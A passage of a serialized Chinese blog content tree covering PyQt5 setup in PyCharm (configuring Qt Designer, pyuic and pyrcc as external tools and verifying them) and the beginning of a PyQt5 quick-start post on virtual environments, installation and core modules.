20250722093200","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722093200.png",[],{"type":18,"tag":34,"props":71311,"children":71312},{},[71313,71315,71321,71323,71329,71331,71336,71338,71343,71345,71351,71353,71358],{"type":24,"value":71314},"5）首先添加",{"type":18,"tag":74,"props":71316,"children":71318},{"className":71317},[],[71319],{"type":24,"value":71320},"Qt Designer",{"type":24,"value":71322},"设计师，在打开的",{"type":18,"tag":74,"props":71324,"children":71326},{"className":71325},[],[71327],{"type":24,"value":71328},"Create Tool",{"type":24,"value":71330},"窗口填写信息，名称填写为",{"type":18,"tag":74,"props":71332,"children":71334},{"className":71333},[],[71335],{"type":24,"value":71320},{"type":24,"value":71337},"，程序选择刚才安装的",{"type":18,"tag":74,"props":71339,"children":71341},{"className":71340},[],[71342],{"type":24,"value":71239},{"type":24,"value":71344},"模块的路径下的",{"type":18,"tag":74,"props":71346,"children":71348},{"className":71347},[],[71349],{"type":24,"value":71350},"Qt\\bin\\designer.exe",{"type":24,"value":71352},"，此项参数为空，工作目录为默认。完成后点击",{"type":18,"tag":74,"props":71354,"children":71356},{"className":71355},[],[71357],{"type":24,"value":8505},{"type":24,"value":71359},"即可；",{"type":18,"tag":287,"props":71361,"children":71363},{"code":71362},"参数设置:\nName: Qt Designer\nProgram: D:\\ProgramEnviron\\Python\\Python311\\Lib\\site-packages\\qt5_applications\\Qt\\bin\\designer.exe\nArguments: \nWorking directory: D:\\ProgramEnviron\\Python\\Python311\\Lib\\site-packages\\qt5_applications\\Qt\\bin\n",[71364],{"type":18,"tag":74,"props":71365,"children":71366},{"__ignoreMap":8},[71367],{"type":24,"value":71362},{"type":18,"tag":34,"props":71369,"children":71370},{},[71371],{"type":18,"tag":54,"props":71372,"children":71375},{"alt":71373,"src":71374},"Pasted image 20250722094032","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722094032.png",[],{"type":18,"tag":2577,"props":71377,"children":71378},{"color":2579},[71379],{"type":24,"value":71380},"\n注意：此处的程序路径填写时是在自己本机的路径下找，以上是根据我的路径进行查找的，只需找到Python的安装路径就可以确定程序的路径了，程序路径位于Python路径下的 .\\Lib\\site-packages\\qt5_applications\\Qt\\bin\\designer.exe \n",{"type":18,"tag":34,"props":71382,"children":71383},{},[71384],{"type":24,"value":71385},"可以通过终端进行对Python路径的查找，打开终端输入下列命令：",{"type":18,"tag":287,"props":71387,"children":71389},{"code":71388,"language":33404,"meta":8,"className":33402,"style":8},"where python\n",[71390],{"type":18,"tag":74,"props":71391,"children":71392},{"__ignoreMap":8},[71393],{"type":18,"tag":297,"props":71394,"children":71395},{"class":299,"line":300},[71396,71401],{"type":18,"tag":297,"props":71397,"children":71398},{"style":304},[71399],{"type":24,"value":71400},"where",{"type":18,"tag":297,"props":71402,"children":71403},{"style":310},[71404],{"type":24,"value":71405}," python\n",{"type":18,"tag":34,"props":71407,"children":71408},{},[71409],{"type":18,"tag":54,"props":71410,"children":71413},{"alt":71411,"src":71412},"Pasted image 20250722100029","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722100029.png",[],{"type":18,"tag":34,"props":71415,"children":71416},{},[71417,71419,71425,71427,71432,71433,71438,71440,71446,71448,71454,71456,71462,71464,71469],{"type":24,"value":71418},"6）然后添加",{"type":18,"tag":74,"props":71420,"children":71422},{"className":71421},[],[71423],{"type":24,"value":71424},"pyuic",{"type":24,"value":71426},"工具，在打开的",{"type":18,"tag":74,"props":71428,"children":71430},{"className":71429},[],[71431],{"type":24,"value":71328},{"type":24,"value":71330},{"type":18,"tag":74,"props":71434,"children":71436},{"className":71435},[],[71437],{"type":24,"value":71424},{"type":24,"value":71439},"，程序选择Python路径下的",{"type":18,"tag":74,"props":71441,"children":71443},{"className":71442},[],[71444],{"type":24,"value":71445},"D:\\ProgramEnviron\\Python\\Python311\\python.exe",{"type":24,"value":71447},"，此项参数为",{"type":18,"tag":74,"props":71449,"children":71451},{"className":71450},[],[71452],{"type":24,"value":71453},"-m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py",{"type":24,"value":71455},"，工作目录为",{"type":18,"tag":74,"props":71457,"children":71459},{"className":71458},[],[71460],{"type":24,"value":71461},"$FileDir$",{"type":24,"value":71463},"。完成后点击",{"type":18,"tag":74,"props":71465,"children":71467},{"className":71466},[],[71468],{"type":24,"value":8505},{"type":24,"value":71359},{"type":18,"tag":287,"props":71471,"children":71473},{"code":71472},"参数设置:\nName: Pyuic\nProgram: D:\\ProgramEnviron\\Python\\Python311\\python.exe\nArguments: -m PyQt5.uic.pyuic $FileName$ -o $FileNameWithoutExtension$.py\nWorking directory: $FileDir$\n",[71474],{"type":18,"tag":74,"props":71475,"children":71476},{"__ignoreMap":8},[71477],{"type":24,"value":71472},{"type":18,"tag":34,"props":71479,"children":71480},{},[71481],{"type":18,"tag":54,"props":71482,"children":71485},{"alt":71483,"src":71484},"Pasted image 20250722100951","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722100951.png",[],{"type":18,"tag":34,"props":71487,"children":71488},{},[71489,71491,71497,71498,71503,71504,71509,71510,71515,71516,71522,71523,71528,71529,71534],{"type":24,"value":71490},"7）然后添加",{"type":18,"tag":74,"props":71492,"children":71494},{"className":71493},[],[71495],{"type":24,"value":71496},"pyrcc",{"type":24,"value":71426},{"type":18,"tag":74,"props":71499,"children":71501},{"className":71500},[],[71502],{"type":24,"value":71328},{"type":24,"value":71330},{"type":18,"tag":74,"props":71505,"children":71507},{"className":71506},[],[71508],{"type":24,"value":71496},{"type":24,"value":71439},{"type":18,"tag":74,"props":71511,"children":71513},{"className":71512},[],[71514],{"type":24,"value":71445},{"type":24,"value":71447},{"type":18,"tag":74,"props":71517,"children":71519},{"className":71518},[],[71520],{"type":24,"value":71521},"-m PyQt5.pyrcc_main $FileName$ -o $FileNameWithoutExtension$_rc.py",{"type":24,"value":71455},{"type":18,"tag":74,"props":71524,"children":71526},{"className":71525},[],[71527],{"type":24,"value":71461},{"type":24,"value":71463},{"type":18,"tag":74,"props":71530,"children":71532},{"className":71531},[],[71533],{"type":24,"value":8505},{"type":24,"value":71359},{"type":18,"tag":287,"props":71536,"children":71538},{"code":71537},"参数设置:\nName: Pyrcc\nProgram: D:\\ProgramEnviron\\Python\\Python311\\python.exe\nArguments: -m PyQt5.pyrcc_main $FileName$ -o $FileNameWithoutExtension$_rc.py\nWorking directory: $FileDir$\n",[71539],{"type":18,"tag":74,"props":71540,"children":71541},{"__ignoreMap":8},[71542],{"type":24,"value":71537},{"type":18,"tag":34,"props":71544,"children":71545},{},[71546],{"type":18,"tag":54,"props":71547,"children":71550},{"alt":71548,"src":71549},"Pasted image 20250722101054","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722101054.png",[],{"type":18,"tag":34,"props":71552,"children":71553},{},[71554,71556,71562],{"type":24,"value":71555},"等上述三个工具全部设置完成后，我们就相当于Qt5的环境设置完成了，点击",{"type":18,"tag":74,"props":71557,"children":71559},{"className":71558},[],[71560],{"type":24,"value":71561},"Apply",{"type":24,"value":71563},"应用工具。",{"type":18,"tag":19,"props":71565,"children":71567},{"id":71566},"验证环境",[71568],{"type":24,"value":71566},{"type":18,"tag":121,"props":71570,"children":71571},{},[],{"type":18,"tag":27,"props":71573,"children":71575},{"id":71574},"验证qt-designer",[71576],{"type":24,"value":71577},"验证Qt Designer",{"type":18,"tag":34,"props":71579,"children":71580},{},[71581],{"type":24,"value":71582},"1）依次点击 Tools --> External Tools(外部工具) --> Qt Designer 打开设计师，进入设计师主界面，如下图所示：",{"type":18,"tag":34,"props":71584,"children":71585},{},[71586],{"type":18,"tag":54,"props":71587,"children":71590},{"alt":71588,"src":71589},"Pasted image 20250722101659","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722101659.png",[],{"type":18,"tag":34,"props":71592,"children":71593},{},[71594,71596,71601],{"type":24,"value":71595},"2）在打开的设计师界面选择",{"type":18,"tag":74,"props":71597,"children":71599},{"className":71598},[],[71600],{"type":24,"value":54053},{"type":24,"value":71602},"窗体，点击创建，如下图：",{"type":18,"tag":34,"props":71604,"children":71605},{},[71606],{"type":18,"tag":54,"props":71607,"children":71610},{"alt":71608,"src":71609},"Pasted image 20250722102048","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722102048.png",[],{"type":18,"tag":34,"props":71612,"children":71613},{},[71614],{"type":24,"value":71615},"3）接下来对界面进行设计，例如我设置一个简单的登录界面，如下图：",{"type":18,"tag":34,"props":71617,"children":71618},{},[71619],{"type":18,"tag":54,"props":71620,"children":71623},{"alt":71621,"src":71622},"Pasted image 20250722102705","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722102705.png",[],{"type":18,"tag":34,"props":71625,"children":71626},{},[71627],{"type":24,"value":71628},"4）在设计完成后保存ui文件，记住自己的路径选择，后续要用，图示如下：",{"type":18,"tag":34,"props":71630,"children":71631},{},[71632],{"type":18,"tag":54,"props":71633,"children":71636},{"alt":71634,"src":71635},"Pasted image 20250722103326","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722103326.png",[],{"type":18,"tag":27,"props":71638,"children":71640},{"id":71639},"验证pyuic",[71641],{"type":24,"value":71639},{"type":18,"tag":34,"props":71643,"children":71644},{},[71645],{"type":24,"value":71646},"1）将刚才保存的ui文件找到，使用Pycharm打开，在Pycharm界面资源管理器中找到该ui文件，右击选择 External Tools(外部工具) --> pyuic，点击完成后便会生成当前的ui文件的Python代码。如下图所示：",{"type":18,"tag":34,"props":71648,"children":71649},{},[71650],{"type":18,"tag":54,"props":71651,"children":71654},{"alt":71652,"src":71653},"Pasted image 20250722104742","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722104742.png",[],{"type":18,"tag":34,"props":71656,"children":71657},{},[71658,71660,71666],{"type":24,"value":71659},"2）可以新建一个",{"type":18,"tag":74,"props":71661,"children":71663},{"className":71662},[],[71664],{"type":24,"value":71665},"main.py",{"type":24,"value":71667},"文件来表示主文件，在该文件内添加如下代码（确保该文件与生成的ui的python在同一目录下）：",{"type":18,"tag":287,"props":71669,"children":71671},{"code":71670,"language":28712,"meta":8,"className":28710,"style":8},"import sys  \n  \nfrom PyQt5.QtWidgets import QMainWindow, QApplication  \nfrom untitled import Ui_MainWindow  \n  \n  \nclass windows(QMainWindow, Ui_MainWindow):  \n    def __init__(self):  \n        super(windows, self).__init__()  \n        self.setupUi(self)  \n  \n# 格式化代码 ctrl + alt + L\nif __name__ == \"__main__\":  \n    app = QApplication(sys.argv)  \n    ui = windows()  \n    ui.show()  \n    app.exec_()\n",[71672],{"type":18,"tag":74,"props":71673,"children":71674},{"__ignoreMap":8},[71675,71682,71689,71697,71705,71712,71719,71727,71735,71743,71751,71758,71766,71773,71781,71789,71797],{"type":18,"tag":297,"props":71676,"children":71677},{"class":299,"line":300},[71678],{"type":18,"tag":297,"props":71679,"children":71680},{},[71681],{"type":24,"value":42415},{"type":18,"tag":297,"props":71683,"children":71684},{"class":299,"line":657},[71685],{"type":18,"tag":297,"props":71686,"children":71687},{},[71688],{"type":24,"value":36783},{"type":18,"tag":297,"props":71690,"children":71691},{"class":299,"line":662},[71692],{"type":18,"tag":297,"props":71693,"children":71694},{},[71695],{"type":24,"value":71696},"from PyQt5.QtWidgets import QMainWindow, QApplication  \n",{"type":18,"tag":297,"props":71698,"children":71699},{"class":299,"line":799},[71700],{"type":18,"tag":297,"props":71701,"children":71702},{},[71703],{"type":24,"value":71704},"from untitled import Ui_MainWindow  \n",{"type":18,"tag":297,"props":71706,"children":71707},{"class":299,"line":808},[71708],{"type":18,"tag":297,"props":71709,"children":71710},{},[71711],{"type":24,"value":36783},{"type":18,"tag":297,"props":71713,"children":71714},{"class":299,"line":817},[71715],{"type":18,"tag":297,"props":71716,"children":71717},{},[71718],{"type":24,"value":36783},{"type":18,"tag":297,"props":71720,"children":71721},{"class":299,"line":826},[71722],{"type":18,"tag":297,"props":71723,"children":71724},{},[71725],{"type":24,"value":71726},"class windows(QMainWindow, Ui_MainWindow):  \n",{"type":18,"tag":297,"props":71728,"children":71729},{"class":299,"line":4524},[71730],{"type":18,"tag":297,"props":71731,"children":71732},{},[71733],{"type":24,"value":71734},"    def __init__(self):  \n",{"type":18,"tag":297,"props":71736,"children":71737},{"class":299,"line":4533},[71738],{"type":18,"tag":297,"props":71739,"children":71740},{},[71741],{"type":24,"value":71742},"        super(windows, self).__init__()  \n",{"type":18,"tag":297,"props":71744,"children":71745},{"class":299,"line":4546},[71746],{"type":18,"tag":297,"props":71747,"children":71748},{},[71749],{"type":24,"value":71750},"        self.setupUi(self)  \n",{"type":18,"tag":297,"props":71752,"children":71753},{"class":299,"line":4555},[71754],{"type":18,"tag":297,"props":71755,"children":71756},{},[71757],{"type":24,"value":36783},{"type":18,"tag":297,"props":71759,"children":71760},{"class":299,"line":4568},[71761],{"type":18,"tag":297,"props":71762,"children":71763},{},[71764],{"type":24,"value":71765},"# 格式化代码 ctrl + alt + L\n",{"type":18,"tag":297,"props":71767,"children":71768},{"class":299,"line":4577},[71769],{"type":18,"tag":297,"props":71770,"children":71771},{},[71772],{"type":24,"value":63247},{"type":18,"tag":297,"props":71774,"children":71775},{"class":299,"line":4590},[71776],{"type":18,"tag":297,"props":71777,"children":71778},{},[71779],{"type":24,"value":71780},"    app = QApplication(sys.argv)  \n",{"type":18,"tag":297,"props":71782,"children":71783},{"class":299,"line":4599},[71784],{"type":18,"tag":297,"props":71785,"children":71786},{},[71787],{"type":24,"value":71788},"    ui = windows()  \n",{"type":18,"tag":297,"props":71790,"children":71791},{"class":299,"line":4607},[71792],{"type":18,"tag":297,"props":71793,"children":71794},{},[71795],{"type":24,"value":71796},"    ui.show()  \n",{"type":18,"tag":297,"props":71798,"children":71799},{"class":299,"line":4616},[71800],{"type":18,"tag":297,"props":71801,"children":71802},{},[71803],{"type":24,"value":71804},"    app.exec_()\n",{"type":18,"tag":34,"props":71806,"children":71807},{},[71808],{"type":24,"value":71809},"3）添加完成后可以执行当前代码，发现运行结果与之前的设计器的效果相同，如下图：",{"type":18,"tag":34,"props":71811,"children":71812},{},[71813],{"type":18,"tag":54,"props":71814,"children":71817},{"alt":71815,"src":71816},"Pasted image 20250722105335","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722105335.png",[],{"type":18,"tag":27,"props":71819,"children":71821},{"id":71820},"验证pyrcc",[71822],{"type":24,"value":71820},{"type":18,"tag":34,"props":71824,"children":71825},{},[71826],{"type":24,"value":71827},"1）重新打开Qt Designer设计师，打开之前保存的ui文件，如下图：",{"type":18,"tag":34,"props":71829,"children":71830},{},[71831],{"type":18,"tag":54,"props":71832,"children":71835},{"alt":71833,"src":71834},"Pasted image 20250722165234","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722165234.png",[],{"type":18,"tag":34,"props":71837,"children":71838},{},[71839],{"type":24,"value":71840},"2）为该ui界面添加一个图片，成功添加后保存，如下图：",{"type":18,"tag":34,"props":71842,"children":71843},{},[71844,71849,71854],{"type":18,"tag":54,"props":71845,"children":71848},{"alt":71846,"src":71847},"Pasted image 20250722165825","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722165825.png",[],{"type":18,"tag":54,"props":71850,"children":71853},{"alt":71851,"src":71852},"Pasted image 20250722170826","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722170826.png",[],{"type":18,"tag":54,"props":71855,"children":71858},{"alt":71856,"src":71857},"Pasted image 20250722171251","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722171251.png",[],{"type":18,"tag":34,"props":71860,"children":71861},{},[71862,71864,71869,71871,71876,71878,71883],{"type":24,"value":71863},"3）效果图如下，点击保存，然后再次回到Pycharm进行",{"type":18,"tag":74,"props":71865,"children":71867},{"className":71866},[],[71868],{"type":24,"value":71424},{"type":24,"value":71870},"转换，这时会比之前多出一个",{"type":18,"tag":74,"props":71872,"children":71874},{"className":71873},[],[71875],{"type":24,"value":68963},{"type":24,"value":71877},"文件，在该",{"type":18,"tag":74,"props":71879,"children":71881},{"className":71880},[],[71882],{"type":24,"value":68963},{"type":24,"value":71884},"文件右击选择 External Tools(外部工具) --> pyrcc 进行转化，可以得到一个python文件。",{"type":18,"tag":34,"props":71886,"children":71887},{},[71888,71893],{"type":18,"tag":54,"props":71889,"children":71892},{"alt":71890,"src":71891},"Pasted image 20250722171752","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722171752.png",[],{"type":18,"tag":54,"props":71894,"children":71897},{"alt":71895,"src":71896},"Pasted image 20250722172351","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250722172351.png",[],{"type":18,"tag":19,"props":71899,"children":71901},{"id":71900},"结尾",[71902],{"type":24,"value":71900},{"type":18,"tag":121,"props":71904,"children":71905},{},[],{"type":18,"tag":34,"props":71907,"children":71908},{},[71909],{"type":24,"value":71910},"至此，若根据上述操作能够成功验证三个工具，那我们的PyQt5的PyCharm环境就搭建完成了，接下来开启Qt5之旅吧！",{"type":18,"tag":651,"props":71912,"children":71913},{},[71914],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":71916},[71917,71918,71919,71924],{"id":71006,"depth":657,"text":71006},{"id":71037,"depth":657,"text":71037},{"id":71566,"depth":657,"text":71566,"children":71920},[71921,71922,71923],{"id":71574,"depth":662,"text":71577},{"id":71639,"depth":662,"text":71639},{"id":71820,"depth":662,"text":71820},{"id":71900,"depth":657,"text":71900},"content:blog:2025-07-16-pyqt5-PyQt5环境搭建.md","blog\u002F2025-07-16-pyqt5-PyQt5环境搭建.md","blog\u002F2025-07-16-pyqt5-PyQt5环境搭建",{"_path":71929,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":71930,"description":71931,"date":71932,"tags":71933,"body":71934,"_type":672,"_id":75500,"_source":674,"_file":75501,"_stem":75502,"_extension":677},"\u002Fblog\u002F2025-07-15-pyqt5-pyqt5","PyQt5-快速入门","PyQt5快速入门，了解PyQt5模块基本用法与第一个窗口程序。","2025-07-15",[28616,41429,41430],{"type":15,"children":71935,"toc":75491},[71936,71942,71945,71950,71973,71994,72000,72003,72011,72016,72044,72057,72084,72092,72104,72136,72141,72160,72168,72173,72227,72232,72235,72240,72270,72282,72288,72291,72296,72316,72321,72343,72348,72449,72454,72462,72480,72503,72511,72529,72552,72573,72652,72657,72683,72746,72751,72796,72801,72815,72836,72841,72858,72937,72942,72974,73020,73025,73042,73137,73142,73145,73151,73156,73184,73192,73216,73252,73257,73344,73352,73376,73406,73410,73491,73497,73530,73680,73686,73703,73798,73804,73821,73967,73972,74042,74047,74108,74113,74127,74132,74135,74140,74180,74219,74224,74237,74251,74277,74340,74345,74348,74353,74371,74376,74386,74475,74480,74504,74551,74570,74613,74618,74802,74808,74832,74861,74973,74978,75214,75219,75460,75487],{"type":18,"tag":27,"props":71937,"children":71939},{"id":71938},"qt简介",[71940],{"type":24,"value":71941},"Qt简介",{"type":18,"tag":121,"props":71943,"children":71944},{},[],{"type":18,"tag":34,"props":71946,"children":71947},{},[71948],{"type":24,"value":71949},"Qt是由 C++ 底层实现的，它支持的操作系统很多，如Windows、Linux、Unix、Android、iOS、嵌入式等等，而 PyQt 是由 Python 调用 Qt 实现的，PyQt 由 Riverbank Computing 开发，采用以下许可：",{"type":18,"tag":210,"props":71951,"children":71952},{},[71953,71963],{"type":18,"tag":158,"props":71954,"children":71955},{},[71956,71961],{"type":18,"tag":105,"props":71957,"children":71958},{},[71959],{"type":24,"value":71960},"GPLv3",{"type":24,"value":71962},"：开源版本使用此协议，要求衍生作品也采用 GPLv3。",{"type":18,"tag":158,"props":71964,"children":71965},{},[71966,71971],{"type":18,"tag":105,"props":71967,"children":71968},{},[71969],{"type":24,"value":71970},"商业许可",{"type":24,"value":71972},"：用于闭源或商业应用，需向 Riverbank Computing 购买许可证。",{"type":18,"tag":34,"props":71974,"children":71975},{},[71976,71978,71985,71987],{"type":24,"value":71977},"Python 官方 Wiki 中关于 PyQt 的介绍：",{"type":18,"tag":43,"props":71979,"children":71982},{"href":71980,"rel":71981},"https:\u002F\u002Fwiki.python.org\u002Fmoin\u002FPyQt",[47],[71983],{"type":24,"value":71984},"PyQt - Python Wiki",{"type":24,"value":71986},"\nQt官方网站：",{"type":18,"tag":43,"props":71988,"children":71991},{"href":71989,"rel":71990},"https:\u002F\u002Fdoc.qt.io\u002F",[47],[71992],{"type":24,"value":71993},"Qt Documentation | Home",{"type":18,"tag":27,"props":71995,"children":71997},{"id":71996},"pyqt环境准备",[71998],{"type":24,"value":71999},"PyQt环境准备",{"type":18,"tag":121,"props":72001,"children":72002},{},[],{"type":18,"tag":34,"props":72004,"children":72005},{},[72006],{"type":18,"tag":105,"props":72007,"children":72008},{},[72009],{"type":24,"value":72010},"创建虚拟环境（可选）",{"type":18,"tag":34,"props":72012,"children":72013},{},[72014],{"type":24,"value":72015},"在dos命令窗中导航到想要创建虚拟环境的目录，执行创建虚拟环境命令：",{"type":18,"tag":287,"props":72017,"children":72019},{"className":33402,"code":72018,"language":33404,"meta":8,"style":8},"python -m venv 环境名称\n",[72020],{"type":18,"tag":74,"props":72021,"children":72022},{"__ignoreMap":8},[72023],{"type":18,"tag":297,"props":72024,"children":72025},{"class":299,"line":300},[72026,72030,72034,72039],{"type":18,"tag":297,"props":72027,"children":72028},{"style":304},[72029],{"type":24,"value":28712},{"type":18,"tag":297,"props":72031,"children":72032},{"style":906},[72033],{"type":24,"value":909},{"type":18,"tag":297,"props":72035,"children":72036},{"style":310},[72037],{"type":24,"value":72038}," venv",{"type":18,"tag":297,"props":72040,"children":72041},{"style":310},[72042],{"type":24,"value":72043}," 环境名称\n",{"type":18,"tag":34,"props":72045,"children":72046},{},[72047,72049,72055],{"type":24,"value":72048},"此处我以环境名为",{"type":18,"tag":74,"props":72050,"children":72052},{"className":72051},[],[72053],{"type":24,"value":72054},"py3_qt_test",{"type":24,"value":72056},"为例：",{"type":18,"tag":287,"props":72058,"children":72060},{"className":33402,"code":72059,"language":33404,"meta":8,"style":8},"python -m venv py3_qt_test\n",[72061],{"type":18,"tag":74,"props":72062,"children":72063},{"__ignoreMap":8},[72064],{"type":18,"tag":297,"props":72065,"children":72066},{"class":299,"line":300},[72067,72071,72075,72079],{"type":18,"tag":297,"props":72068,"children":72069},{"style":304},[72070],{"type":24,"value":28712},{"type":18,"tag":297,"props":72072,"children":72073},{"style":906},[72074],{"type":24,"value":909},{"type":18,"tag":297,"props":72076,"children":72077},{"style":310},[72078],{"type":24,"value":72038},{"type":18,"tag":297,"props":72080,"children":72081},{"style":310},[72082],{"type":24,"value":72083}," py3_qt_test\n",{"type":18,"tag":34,"props":72085,"children":72086},{},[72087],{"type":18,"tag":105,"props":72088,"children":72089},{},[72090],{"type":24,"value":72091},"安装PyQt5库命令",{"type":18,"tag":34,"props":72093,"children":72094},{},[72095,72097,72102],{"type":24,"value":72096},"创建好虚拟环境后直接在当前目录下安装所需的",{"type":18,"tag":74,"props":72098,"children":72100},{"className":72099},[],[72101],{"type":24,"value":71232},{"type":24,"value":72103},"库：",{"type":18,"tag":287,"props":72105,"children":72107},{"className":33402,"code":72106,"language":33404,"meta":8,"style":8},"pip install pyqt5 -i https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\u002F\n",[72108],{"type":18,"tag":74,"props":72109,"children":72110},{"__ignoreMap":8},[72111],{"type":18,"tag":297,"props":72112,"children":72113},{"class":299,"line":300},[72114,72118,72122,72127,72131],{"type":18,"tag":297,"props":72115,"children":72116},{"style":304},[72117],{"type":24,"value":28691},{"type":18,"tag":297,"props":72119,"children":72120},{"style":310},[72121],{"type":24,"value":28696},{"type":18,"tag":297,"props":72123,"children":72124},{"style":310},[72125],{"type":24,"value":72126}," pyqt5",{"type":18,"tag":297,"props":72128,"children":72129},{"style":906},[72130],{"type":24,"value":31272},{"type":18,"tag":297,"props":72132,"children":72133},{"style":310},[72134],{"type":24,"value":72135}," https:\u002F\u002Fpypi.tuna.tsinghua.edu.cn\u002Fsimple\u002F\n",{"type":18,"tag":34,"props":72137,"children":72138},{},[72139],{"type":24,"value":72140},"安装完成后可以查看模块安装列表，检查是否安装成功，检查安装列表命令如下：",{"type":18,"tag":287,"props":72142,"children":72144},{"className":33402,"code":72143,"language":33404,"meta":8,"style":8},"pip list\n",[72145],{"type":18,"tag":74,"props":72146,"children":72147},{"__ignoreMap":8},[72148],{"type":18,"tag":297,"props":72149,"children":72150},{"class":299,"line":300},[72151,72155],{"type":18,"tag":297,"props":72152,"children":72153},{"style":304},[72154],{"type":24,"value":28691},{"type":18,"tag":297,"props":72156,"children":72157},{"style":310},[72158],{"type":24,"value":72159}," list\n",{"type":18,"tag":34,"props":72161,"children":72162},{},[72163],{"type":18,"tag":54,"props":72164,"children":72167},{"alt":72165,"src":72166},"Pasted image 20250710104754","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250710104754.png",[],{"type":18,"tag":34,"props":72169,"children":72170},{},[72171],{"type":24,"value":72172},"也可以在当前安装PyQt的虚拟环境中执行包含如下的测试代码文件：",{"type":18,"tag":287,"props":72174,"children":72176},{"className":28710,"code":72175,"language":28712,"meta":8,"style":8},"# 若能能够正常执行，则表明环境搭建成功\nfrom PyQt5 import QtWidgets\n\n# 可以查看PyQt版本信息\nfrom PyQt5.QtCore import *\nprint(QT_VERSION_STR)\n",[72177],{"type":18,"tag":74,"props":72178,"children":72179},{"__ignoreMap":8},[72180,72188,72196,72203,72211,72219],{"type":18,"tag":297,"props":72181,"children":72182},{"class":299,"line":300},[72183],{"type":18,"tag":297,"props":72184,"children":72185},{},[72186],{"type":24,"value":72187},"# 若能能够正常执行，则表明环境搭建成功\n",{"type":18,"tag":297,"props":72189,"children":72190},{"class":299,"line":657},[72191],{"type":18,"tag":297,"props":72192,"children":72193},{},[72194],{"type":24,"value":72195},"from PyQt5 import QtWidgets\n",{"type":18,"tag":297,"props":72197,"children":72198},{"class":299,"line":662},[72199],{"type":18,"tag":297,"props":72200,"children":72201},{"emptyLinePlaceholder":793},[72202],{"type":24,"value":796},{"type":18,"tag":297,"props":72204,"children":72205},{"class":299,"line":799},[72206],{"type":18,"tag":297,"props":72207,"children":72208},{},[72209],{"type":24,"value":72210},"# 可以查看PyQt版本信息\n",{"type":18,"tag":297,"props":72212,"children":72213},{"class":299,"line":808},[72214],{"type":18,"tag":297,"props":72215,"children":72216},{},[72217],{"type":24,"value":72218},"from PyQt5.QtCore import *\n",{"type":18,"tag":297,"props":72220,"children":72221},{"class":299,"line":817},[72222],{"type":18,"tag":297,"props":72223,"children":72224},{},[72225],{"type":24,"value":72226},"print(QT_VERSION_STR)\n",{"type":18,"tag":27,"props":72228,"children":72230},{"id":72229},"模块介绍",[72231],{"type":24,"value":72229},{"type":18,"tag":121,"props":72233,"children":72234},{},[],{"type":18,"tag":34,"props":72236,"children":72237},{},[72238],{"type":24,"value":72239},"PyQt中存在非常多的功能模块，开发中最常用的功能模块主要由三个：",{"type":18,"tag":210,"props":72241,"children":72242},{},[72243,72252,72261],{"type":18,"tag":158,"props":72244,"children":72245},{},[72246,72250],{"type":18,"tag":105,"props":72247,"children":72248},{},[72249],{"type":24,"value":45512},{"type":24,"value":72251},"：包含了核心的非GUI的功能，主要和时间、文件与文件夹、各种数据流、URLs、mime类文件、进程、线程等一起使用",{"type":18,"tag":158,"props":72253,"children":72254},{},[72255,72259],{"type":18,"tag":105,"props":72256,"children":72257},{},[72258],{"type":24,"value":46279},{"type":24,"value":72260},"：包含了窗口系统、事件处理、2D图像、基本绘画、字体和文字类",{"type":18,"tag":158,"props":72262,"children":72263},{},[72264,72268],{"type":18,"tag":105,"props":72265,"children":72266},{},[72267],{"type":24,"value":62228},{"type":24,"value":72269},"：包含了一些列创建桌面应用的UI元素",{"type":18,"tag":34,"props":72271,"children":72272},{},[72273,72275],{"type":24,"value":72274},"Qt5的官方参考文档： ",{"type":18,"tag":43,"props":72276,"children":72279},{"href":72277,"rel":72278},"https:\u002F\u002Fdoc.qt.io\u002Farchives\u002Fqt-5.15\u002F",[47],[72280],{"type":24,"value":72281},"Qt 5.15",{"type":18,"tag":27,"props":72283,"children":72285},{"id":72284},"基本ui",[72286],{"type":24,"value":72287},"基本UI",{"type":18,"tag":121,"props":72289,"children":72290},{},[],{"type":18,"tag":337,"props":72292,"children":72294},{"id":72293},"新建一个窗口",[72295],{"type":24,"value":72293},{"type":18,"tag":34,"props":72297,"children":72298},{},[72299,72301,72306,72308,72314],{"type":24,"value":72300},"首先创建一个QApplication对象（只要是Qt制作的app，必须有且只有一个QApplication对象，",{"type":18,"tag":74,"props":72302,"children":72304},{"className":72303},[],[72305],{"type":24,"value":30648},{"type":24,"value":72307}," 当作参数的目的是将运行时的命令参数传递给QApplication对象），再使用创建窗口的",{"type":18,"tag":74,"props":72309,"children":72311},{"className":72310},[],[72312],{"type":24,"value":72313},"QWidget()",{"type":24,"value":72315},"方法创建窗口，在创建前需要导入需要的模块及方法，如下代码案例：",{"type":18,"tag":34,"props":72317,"children":72318},{},[72319],{"type":24,"value":72320},"首先进行导包：",{"type":18,"tag":287,"props":72322,"children":72324},{"className":28710,"code":72323,"language":28712,"meta":8,"style":8},"import sys\nfrom PyQt5.QtWidgets import 